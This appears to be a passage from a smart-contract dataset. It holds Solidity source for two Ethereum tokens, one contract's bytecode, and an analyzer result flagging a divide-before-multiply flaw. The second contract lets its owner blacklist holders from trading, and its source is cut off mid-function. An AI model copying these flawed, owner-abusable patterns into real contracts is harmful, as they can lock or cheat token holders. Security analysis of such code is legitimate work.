previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract TSUBASA is Context, IERC20, IERC20Metadata, Ownable { mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcluded; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 100000000000 * 10**6 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private _name = 'Legless Captain Tsubasa'; string private _symbol = 'LEGBASA &#9917;'; uint8 private _decimals = 9; uint256 public _maxTxAmount = 100000000 * 10**6 * 10**9; constructor () { _rOwned[_msgSender()] = _rTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view override returns (string memory) { return _name; } function symbol() public view override returns (string memory) { return _symbol; } function decimals() public view override returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); require(amount <= _allowances[sender][_msgSender()], "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), _allowances[sender][_msgSender()]- amount); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { require(subtractedValue <= _allowances[_msgSender()][spender], "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, _allowances[_msgSender()][spender] - subtractedValue); return true; } function isExcluded(address account) public view returns (bool) { return _isExcluded[account]; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { _maxTxAmount = ((_tTotal * maxTxPercent) / 10**2); } function reflect(uint256 tAmount) public { address sender = _msgSender(); require(!_isExcluded[sender], "Excluded addresses cannot call this function"); (uint256 rAmount,,,,) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender] - rAmount; _rTotal = _rTotal - rAmount; _tFeeTotal = _tFeeTotal + tAmount; } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,) = _getValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,,) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return (rAmount / currentRate); } function excludeAccount(address account) external onlyOwner() { require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeAccount(address account) external onlyOwner() { require(_isExcluded[account], "Account is already excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address sender, address recipient, uint256 amount) private { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(sender != owner() && recipient != owner()) { require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); } if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender] - rAmount; _rOwned[recipient] = _rOwned[recipient] + rTransferAmount; _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender] - rAmount; _tOwned[recipient] = _tOwned[recipient] + tTransferAmount; _rOwned[recipient] = _rOwned[recipient] + rTransferAmount; _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender] - tAmount; _rOwned[sender] = _rOwned[sender] - rAmount; _rOwned[recipient] = _rOwned[recipient] + rTransferAmount; _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender] - tAmount; _rOwned[sender] = _rOwned[sender] - rAmount; _tOwned[recipient] = _tOwned[recipient] + tTransferAmount; _rOwned[recipient] = _rOwned[recipient] + rTransferAmount; _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal - rFee; _tFeeTotal = _tFeeTotal + tFee; } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee); } function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) { uint256 tFee = ((tAmount / 100) * 2); uint256 tTransferAmount = tAmount - tFee; return (tTransferAmount, tFee); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount * currentRate; uint256 rFee = tFee * currentRate; uint256 rTransferAmount = rAmount - rFee; return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return (rSupply / tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply - _rOwned[_excluded[i]]; tSupply = tSupply - _tOwned[_excluded[i]]; } if (rSupply < (_rTotal / _tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x608060405234801561001057600080fd5b506004361061014d5760003560e01c8063715018a6116100c3578063cba0e9961161007c578063cba0e99614610289578063d543dbeb1461029c578063dd62ed3e146102af578063f2cc0c18146102c2578063f2fde38b146102d5578063f84354f1146102e85761014d565b8063715018a6146102365780637d1db4a51461023e5780638da5cb5b1461024657806395d89b411461025b578063a457c2d714610263578063a9059cbb146102765761014d565b806323b872dd1161011557806323b872dd146101c25780632d838119146101d5578063313ce567146101e857806339509351146101fd5780634549b0391461021057806370a08231146102235761014d565b8063053ab1821461015257806306fdde0314610167578063095ea7b31461018557806313114a9d146101a557806318160ddd146101ba575b600080fd5b6101656101603660046115ae565b6102fb565b005b61016f6103c0565b60405161017c9190611618565b60405180910390f35b610198610193366004611585565b610452565b60405161017c919061160d565b6101ad610470565b60405161017c9190611a16565b6101ad610476565b6101986101d036600461154a565b610485565b6101ad6101e33660046115ae565b61055b565b6101f061059e565b60405161017c9190611a1f565b61019861020b366004611585565b6105a7565b6101ad61021e3660046115c6565b6105f6565b6101ad6102313660046114f7565b61065a565b6101656106bc565b6101ad610745565b61024e61074b565b60405161017c91906115f9565b61016f61075a565b610198610271366004611585565b610769565b610198610284366004611585565b61080d565b6101986102973660046114f7565b610821565b6101656102aa3660046115ae565b61083f565b6101ad6102bd366004611518565b6108a5565b6101656102d03660046114f7565b6108d0565b6101656102e33660046114f7565b610a08565b6101656102f63660046114f7565b610ac8565b6000610305610c9d565b6001600160a01b03811660009081526004602052604090205490915060ff161561034a5760405162461bcd60e51b815260040161034190611985565b60405180910390fd5b600061035583610ca1565b5050506001600160a01b03841660009081526001602052604090205491925061038091839150611a84565b6001600160a01b0383166000908152600160205260409020556006546103a7908290611a84565b6006556007546103b8908490611a2d565b600755505050565b6060600880546103cf90611a9b565b80601f01602080910402602001604051908101604052809291908181526020018280546103fb90611a9b565b80156104485780601f1061041d57610100808354040283529160200191610448565b820191906000526020600020905b81548152906001019060200180831161042b57829003601f168201915b5050505050905090565b600061046661045f610c9d565b8484610ced565b5060015b92915050565b60075490565b6a52b7d2dcc80cd2e400000090565b6000610492848484610da1565b6001600160a01b0384166000908152600360205260408120906104b3610c9d565b6001600160a01b03166001600160a01b03168152602001908152602001600020548211156104f35760405162461bcd60e51b815260040161034190611836565b610551846104ff610c9d565b6001600160a01b03871660009081526003602052604081208691610521610c9d565b6001600160a01b03166001600160a01b031681526020019081526020016000205461054c9190611a84565b610ced565b5060019392505050565b600060065482111561057f5760405162461bcd60e51b8152600401610341906116ae565b6000610589610fcf565b90506105958184611a45565b9150505b919050565b600a5460ff1690565b60006104666105b4610c9d565b8484600360006105c2610c9d565b6001600160a01b03908116825260208083019390935260409182016000908120918b168152925290205461054c9190611a2d565b60006a52b7d2dcc80cd2e40000008311156106235760405162461bcd60e51b8152600401610341906117b7565b8161064157600061063384610ca1565b5092945061046a9350505050565b600061064c84610ca1565b5091945061046a9350505050565b6001600160a01b03811660009081526004602052604081205460ff161561069a57506001600160a01b038116600090815260026020526040902054610599565b6001600160a01b03821660009081526001602052604090205461046a9061055b565b6106c4610c9d565b6001600160a01b03166106d561074b565b6001600160a01b0316146106fb5760405162461bcd60e51b81526004016103419061187e565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600b5481565b6000546001600160a01b031690565b6060600980546103cf90611a9b565b600060036000610777610c9d565b6001600160a01b03908116825260208083019390935260409182016000908120918716815292529020548211156107c05760405162461bcd60e51b8152600401610341906119d1565b6104666107cb610c9d565b8484600360006107d9610c9d565b6001600160a01b03908116825260208083019390935260409182016000908120918b168152925290205461054c9190611a84565b600061046661081a610c9d565b8484610da1565b6001600160a01b031660009081526004602052604090205460ff1690565b610847610c9d565b6001600160a01b031661085861074b565b6001600160a01b03161461087e5760405162461bcd60e51b81526004016103419061187e565b6064610895826a52b7d2dcc80cd2e4000000611a65565b61089f9190611a45565b600b5550565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b6108d8610c9d565b6001600160a01b03166108e961074b565b6001600160a01b03161461090f5760405162461bcd60e51b81526004016103419061187e565b6001600160a01b03811660009081526004602052604090205460ff16156109485760405162461bcd60e51b815260040161034190611780565b6001600160a01b038116600090815260016020526040902054156109a2576001600160a01b0381166000908152600160205260409020546109889061055b565b6001600160a01b0382166000908152600260205260409020555b6001600160a01b03166000818152600460205260408120805460ff191660019081179091556005805491820181559091527f036b6384b5eca791c62761152d0c79bb0604c104a5fb6f4eb0703f3154bb3db00180546001600160a01b0319169091179055565b610a10610c9d565b6001600160a01b0316610a2161074b565b6001600160a01b031614610a475760405162461bcd60e51b81526004016103419061187e565b6001600160a01b038116610a6d5760405162461bcd60e51b8152600401610341906116f8565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b610ad0610c9d565b6001600160a01b0316610ae161074b565b6001600160a01b031614610b075760405162461bcd60e51b81526004016103419061187e565b6001600160a01b03811660009081526004602052604090205460ff16610b3f5760405162461bcd60e51b815260040161034190611780565b60005b600554811015610c9957816001600160a01b031660058281548110610b7757634e487b7160e01b600052603260045260246000fd5b6000918252602090912001546001600160a01b03161415610c875760058054610ba290600190611a84565b81548110610bc057634e487b7160e01b600052603260045260246000fd5b600091825260209091200154600580546001600160a01b039092169183908110610bfa57634e487b7160e01b600052603260045260246000fd5b600091825260208083209190910180546001600160a01b0319166001600160a01b039485161790559184168152600282526040808220829055600490925220805460ff191690556005805480610c6057634e487b7160e01b600052603160045260246000fd5b600082815260209020810160001990810180546001600160a01b0319169055019055610c99565b80610c9181611ad6565b915050610b42565b5050565b3390565b6000806000806000806000610cb588610ff2565b915091506000610cc3610fcf565b90506000806000610cd58c8686611025565b919e909d50909b509599509397509395505050505050565b6001600160a01b038316610d135760405162461bcd60e51b815260040161034190611941565b6001600160a01b038216610d395760405162461bcd60e51b81526004016103419061173e565b6001600160a01b0380841660008181526003602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92590610d94908590611a16565b60405180910390a3505050565b6001600160a01b038316610dc75760405162461bcd60e51b8152600401610341906118fc565b6001600160a01b038216610ded5760405162461bcd60e51b81526004016103419061166b565b60008111610e0d5760405162461bcd60e51b8152600401610341906118b3565b610e1561074b565b6001600160a01b0316836001600160a01b031614158015610e4f5750610e3961074b565b6001600160a01b0316826001600160a01b031614155b15610e7657600b54811115610e765760405162461bcd60e51b8152600401610341906117ee565b6001600160a01b03831660009081526004602052604090205460ff168015610eb757506001600160a01b03821660009081526004602052604090205460ff16155b15610ecc57610ec7838383611061565b610fca565b6001600160a01b03831660009081526004602052604090205460ff16158015610f0d57506001600160a01b03821660009081526004602052604090205460ff165b15610f1d57610ec783838361117b565b6001600160a01b03831660009081526004602052604090205460ff16158015610f5f57506001600160a01b03821660009081526004602052604090205460ff16155b15610f6f57610ec7838383611224565b6001600160a01b03831660009081526004602052604090205460ff168015610faf57506001600160a01b03821660009081526004602052604090205460ff165b15610fbf57610ec7838383611266565b610fca838383611224565b505050565b6000806000610fdc6112d8565b9092509050610feb8183611a45565b9250505090565b60008080611001606485611a45565b61100c906002611a65565b9050600061101a8286611a84565b935090915050915091565b60008080806110348588611a65565b905060006110428688611a65565b905060006110508284611a84565b929992985090965090945050505050565b600080600080600061107286610ca1565b6001600160a01b038d16600090815260026020526040902054949950929750909550935091506110a3908790611a84565b6001600160a01b0389166000908152600260209081526040808320939093556001905220546110d3908690611a84565b6001600160a01b03808a166000908152600160205260408082209390935590891681522054611103908590611a2d565b6001600160a01b03881660009081526001602052604090205561112683826114ba565b866001600160a01b0316886001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516111699190611a16565b60405180910390a35050505050505050565b600080600080600061118c86610ca1565b6001600160a01b038d16600090815260016020526040902054949950929750909550935091506111bd908690611a84565b6001600160a01b03808a16600090815260016020908152604080832094909455918a168152600290915220546111f4908390611a2d565b6001600160a01b038816600090815260026020908152604080832093909355600190522054611103908590611a2d565b600080600080600061123586610ca1565b6001600160a01b038d16600090815260016020526040902054949950929750909550935091506110d3908690611a84565b600080600080600061127786610ca1565b6001600160a01b038d16600090815260026020526040902054949950929750909550935091506112a8908790611a84565b6001600160a01b0389166000908152600260209081526040808320939093556001905220546111bd908690611a84565b60065460009081906a52b7d2dcc80cd2e4000000825b6005548110156114755782600160006005848154811061131e57634e487b7160e01b600052603260045260246000fd5b60009182526020808320909101546001600160a01b031683528201929092526040019020541180611397575081600260006005848154811061137057634e487b7160e01b600052603260045260246000fd5b60009182526020808320909101546001600160a01b03168352820192909252604001902054115b156113b7576006546a52b7d2dcc80cd2e4000000945094505050506114b6565b60016000600583815481106113dc57634e487b7160e01b600052603260045260246000fd5b60009182526020808320909101546001600160a01b0316835282019290925260400190205461140b9084611a84565b9250600260006005838154811061143257634e487b7160e01b600052603260045260246000fd5b60009182526020808320909101546001600160a01b031683528201929092526040019020546114619083611a84565b91508061146d81611ad6565b9150506112ee565b506a52b7d2dcc80cd2e400000060065461148f9190611a45565b8210156114b0576006546a52b7d2dcc80cd2e40000009350935050506114b6565b90925090505b9091565b816006546114c89190611a84565b6006556007546114d9908290611a2d565b6007555050565b80356001600160a01b038116811461059957600080fd5b600060208284031215611508578081fd5b611511826114e0565b9392505050565b6000806040838503121561152a578081fd5b611533836114e0565b9150611541602084016114e0565b90509250929050565b60008060006060848603121561155e578081fd5b611567846114e0565b9250611575602085016114e0565b9150604084013590509250925092565b60008060408385031215611597578182fd5b6115a0836114e0565b946020939093013593505050565b6000602082840312156115bf578081fd5b5035919050565b600080604083850312156115d8578182fd5b82359150602083013580151581146115ee578182fd5b809150509250929050565b6001600160a01b0391909116815260200190565b901515815260200190565b6000602080835283518082850152825b8181101561164457858101830151858201604001528201611628565b818111156116555783604083870101525b50601f01601f1916929092016040019392505050565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b6020808252602a908201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260408201526965666c656374696f6e7360b01b606082015260800190565b60208082526026908201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160408201526564647265737360d01b606082015260800190565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b6020808252601b908201527f4163636f756e7420697320616c7265616479206578636c756465640000000000604082015260600190565b6020808252601f908201527f416d6f756e74206d757374206265206c657373207468616e20737570706c7900604082015260600190565b60208082526028908201527f5472616e7366657220616d6f756e74206578636565647320746865206d6178546040820152673c20b6b7bab73a1760c11b606082015260800190565b60208082526028908201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616040820152676c6c6f77616e636560c01b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526029908201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206040820152687468616e207a65726f60b81b606082015260800190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b6020808252602c908201527f4578636c75646564206164647265737365732063616e6e6f742063616c6c207460408201526b3434b990333ab731ba34b7b760a11b606082015260800190565b60208082526025908201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604082015264207a65726f60d81b606082015260800190565b90815260200190565b60ff91909116815260200190565b60008219821115611a4057611a40611af1565b500190565b600082611a6057634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611a7f57611a7f611af1565b500290565b600082821015611a9657611a96611af1565b500390565b600281046001821680611aaf57607f821691505b60208210811415611ad057634e487b7160e01b600052602260045260246000fd5b50919050565b6000600019821415611aea57611aea611af1565b5060010190565b634e487b7160e01b600052601160045260246000fdfea2646970667358221220c2eb3dd065f83a0e51efd10f992d06e0d0b961c242c47da47ef2bd97c1e0a9b964736f6c63430008000033
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
3,053
0x2b0e1a22091c8589d6d5d99777a5144ce3590c9e
/** *Submitted for verification at Etherscan.io on 2022-03-30 */ // SPDX-License-Identifier: UNLICENSED //https://t.me/cking_verification pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract CryptoKingInu is Context, IERC20, Ownable { using SafeMath for uint256; IUniswapV2Router02 private uniswapV2Router; mapping (address => uint) private cooldown; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; uint8 private constant _decimals = 9; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e15 * 10**(_decimals); uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _maxTxAmount = _tTotal; uint256 private _maxWalletAmount = _tTotal; uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; address private uniswapV2Pair; string private constant _name = "Crypto King Inu"; string private constant _symbol = "CKING"; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address addr1, address addr2) { _feeAddrWallet1 = payable(addr1); _feeAddrWallet2 = payable(addr2); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[_feeAddrWallet2] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 3; _feeAddr2 = 7; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { require(tradingOpen, "Trading is not allowed yet."); require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); uint256 contractBalanceRecepient = balanceOf(to); require(contractBalanceRecepient + amount <= _maxWalletAmount, "Exceeds maximum wallet token amount."); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { require(tradingOpen, "Trading is not allowed yet."); require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); _feeAddr1 = 3; _feeAddr2 = 12; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled && contractTokenBalance > 0) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.div(2)); _feeAddrWallet2.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 5e12 * 10**(_decimals); _maxWalletAmount = 2e13 * 10**(_decimals); tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setExcludedFromFees(address[] memory accounts, bool exempt) public onlyOwner { for (uint i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = exempt; } } function setBots(address[] memory bots_, bool isbot) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = isbot; } } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if (takeFee) { _transferStandard(sender, recipient, amount); } else { _transferSuperStandard(sender, recipient, amount); } } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferSuperStandard(address sender, address recipient, uint256 tAmount) private { _rOwned[sender] = _rOwned[sender].sub(tAmount); _rOwned[recipient] = _rOwned[recipient].add(tAmount); emit Transfer(sender, recipient, tAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setMaxTxAmount(uint256 maxTxn) public onlyOwner { _maxTxAmount = 